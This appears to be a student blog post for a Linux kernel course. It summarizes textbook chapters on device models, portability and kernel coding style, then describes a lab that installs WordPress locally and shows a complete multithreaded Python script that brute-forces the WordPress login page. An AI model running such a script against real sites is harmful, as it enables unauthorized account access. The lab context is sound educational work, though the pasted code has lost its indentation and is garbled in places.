zoukankan      html  css  js  c++  java
  • 20169207 《Linux内核原理与分析》第十一周作业

    阅读学习教材「Linux内核设计与实现 (Linux Kernel Development)」第教材第17,19,20章。
    在第17章设备与模块章节,关于设备驱动和设备管理,我们讨论四中内核成分。

     1.设备类型:在所有Unix系统中为了统一普通设备的操作所采用的分类。
     2.模块:Linux内核中用于按需加载和卸载目标码的机制。
     3.内核对象:内核数据结构中支持面向对象的简单操作,还支持维护对象之间的父子关系。
     4.sysfs:表示系统中设备树的一个文件系统。
    

    在Linux中,设备被分为以下三种类型:
    1.块设备
    2.字符设备
    3.网络设备

    模块设备,hello world
    hello_init(void)初始化函数,当模块装载时被调用,如果成功装载则返回零,否则返回非零值。----模块的入口点
    hello_exit(void)退出函数,当模块卸载时被调用。
    2.6的内核增加了一个引人注目的新特性-统一设备模型。该设备提供了一个独立的机制专门来表示设备,并描述其在系统中的拓扑结构,从而使得新系统具有如下优点:

    
    1.代码重复最小化。
    2.提供诸如引用计数这样的统一机制。
    3.可以列举系统中的所有的设备,观察他们的状态,并且查看他们链接的总线。
    4.可以将系统中的全部设备结构以树的形式完整,有效地展现出来。
    5.可以将设备和其对应的驱动联系起来,反之亦然。
    6.可以沿设备树的叶子向其根的方向依次遍历,以保证能以正确顺序关闭各设备的电源。
    7.实现设备模型的最初动机。
    
    

    本章中,我们主要学习了内核功能涉及设备驱动的实现和设备树的管理,包括模块、kobject和sysfs。讨论了内核中我们要学习的最后一个子系统。
    在第19章可移植性章节,我门知道了Linux是一个可移植性非常好的操作系统,它广泛支持许多不同体系结构的计算机。
    要想写出可移植性好,简洁,合适的内核代码,要注意一下两点:
    1.编码尽量选取最大公因子:假定任何事情都有可能发生,任何潜在的约束也都存在。
    2.编码尽量选取最小公约数:不要假定给定的内核特性是有用的,仅仅需要最小的体系结构功能。
    编写可移植的代码需要考虑很多问题:字长、数据类型、填充、对齐、字节次序、符号、字节顺序、页大小以及处理器的加载/存储排列。
    第20章补丁,开发和社区。
    Linux的最大优势就是它有一个紧密团结了众多使用者和开发者的社区。社区能帮你检查代码,社区的专家给你提出忠告,社区中的用户能帮你进行测试,用户还能反馈存在的问题。
    Linux的编码风格

    
      1.缩进--缩进风格是用制表位每次缩进8个字符长度。
      2.switch语句--switch语句下属的case标记应该缩进到和switch声明对齐,这样有助于减少8个字符的tab键带来的排版缩进。
      3.空格--Linux编码风格规定,空格放在关键字周围,函数名和圆括号之间无空格。
      4.花括号--内核选定的风格是左括号紧跟在语句的最后,与语句在相同的一行。
      5.每行代码的长度--源代码中要尽可能地保证每行代码长度不超过80个字符,因为这样做可能使代码最合适在标准的80*24的终端上显示。
      6.命名规范--命名中不允许使用骆驼拼写法、studly caps或者其他混合的大小写字符。
      8.函数--根据经验,函数的代码长度不应该超过两屏,局部变量不应超过10个。
      9.注释--代码的注释非常重要,但注释必须按照正确的方式进行。
      10.typedef--内核的开发者们强烈反对使用typedef语句。
      11.多用现成的东西--请勿闭门造车。内核本身就提供了字符串操作函数,压缩函数和一个链表接口,所以请使用他们。
      12.在源码中减少使用ifdef--我们不赞成在源码中使用ifdef预处理指令。
      13.结构初始化--结构初始化的时候必须在他的成员前加上结构标识符。
      14.代码的事后修正--即使你得到了一段与内核编码风格风马牛不相及的代码,也不用发愁。只消抬抬手,indent工具就能帮你解决它。
    
    

    接下来是本周的信息安全类实验,我们选取的是-----Python暴力猜解Web应用。

    实验准备,因为本次实验是在自己Ubuntu 64位的环境下进行,没有实验室已经配置好的实验,所以我们需要自己搭配自己的环境。
    实验需要1.mysql数据库:
    在配置mysql数据库中,我们需要用到以下命令。

    1.sudo apt-get install mysql-server
    2.sudo apt-get install mysql-cilent
    3.sudo apt-get install libmysqlclient-dev

    安装过程中会提示设置密码什么的,注意设置不要忘了。然后用mysql -u root -p登陆数据库。

    2.使用命令sudo apt-get install wordpress安装wordpress。
    3.打开数据库并登录。



    $ sudo service mysql start
    $ mysql -u root

    create database wordpress;
    create user wordpress@localhost identified by '666';
    grant create,drop,insert,delete,update,select on wordpress.* to wordpress@localhost;

    结束后ctrl+d退出,然后在 wordpress 的配置文件中指定数据库用户的账号和密码,并创建后台管理员账号。

    $ cd /var/www/html/wordpress
    $ sudo gedit wp-config.php



    添加if (!defined('DB_PASSWORD'))
    define('DB_PASSWORD', '666');

    4.启动服务器,安装python。

    保存配置后,启动apache2服务,然后再浏览器中输入http://localhost/wordpress/wp-admin/install.php配置管理员用户名与密码。
    查看cookies。

    5.写python程序,新建一个test.py,代码如下:

    !/usr/bin/env python

    -- coding:utf-8 --

    import requests
    import sys
    import itertools
    import Queue
    import threading
    import time

    class Bruter(object):
    def init(self,user,characters,pwd_len,threads):
    self.user = user
    self.found = False
    self.threads = threads
    print '构建待测试口令队列中...'
    self.pwd_queue = Queue.Queue()
    for pwd in list(itertools.product(characters,repeat=pwd_len)):
    self.pwd_queue.put(''.join(pwd))
    self.result = None
    print '构建成功!'
    def brute(self):
    for i in range(self.threads):
    t = threading.Thread(target=self.__web_bruter)
    t.start()
    print '破解线程-->%s 启动' % t.ident
    while(not self.pwd_queue.empty()):
    sys.stdout.write(' 进度: 还剩余%s个口令 (每1s刷新)' %self.pwd_queue.qsize())
    sys.stdout.flush()
    time.sleep(1)
    print ' 破解完毕'
    def __login(self,pwd):
    url = 'http://localhost/wordpress/wp-login.php'
    values = {'log':self.user,'pwd':pwd,'wp-submit':'Log In',
    'redirect_to':'http://localhost/wordpress/wp-admin',
    'test_cookie':'1'
    }
    my_cookie = {'wordpress_test_cookie':'WP Cookie check'}
    r = requests.post(url,data=values,cookies=my_cookie,allow_redirects=False)
    if r.status_code == 302:
    return True
    return False
    def __web_bruter(self):
    while not self.pwd_queue.empty() and not self.found:
    pwd_test = self.pwd_queue.get()
    if self.__login(pwd_test):
    self.found = True
    self.result = pwd_test
    print '破解 %s 成功,密码为: %s' % (self.user,pwd_test)
    else:
    self.found = False

    if name == 'main':
    if len(sys.argv) != 5:
    print '用法 : cmd [用户名] [密码字符] [密码长度] [线程数]'
    exit(0)
    b = Bruter(sys.argv[1],sys.argv[2],int(sys.argv[3]),int(sys.argv[4]))
    b.brute()
    print b.result

    赋予执行权限,chmod 777 test.py;
    然后就直接运行,命令./test.py,运行结果如下:

  • 相关阅读:
    Read-Copy Update Implementation For Non-Cache-Coherent Systems
    10 华电内部文档搜索系统 search04
    10 华电内部文档搜索系统 search05
    lucene4
    10 华电内部文档搜索系统 search01
    01 lucene基础 北风网项目培训 Lucene实践课程 索引
    01 lucene基础 北风网项目培训 Lucene实践课程 系统架构
    01 lucene基础 北风网项目培训 Lucene实践课程 Lucene概述
    第五章 大数据平台与技术 第13讲 NoSQL数据库
    第五章 大数据平台与技术 第12讲 大数据处理平台Spark
  • 原文地址:https://www.cnblogs.com/littletang/p/6123918.html
Copyright © 2011-2022 走看看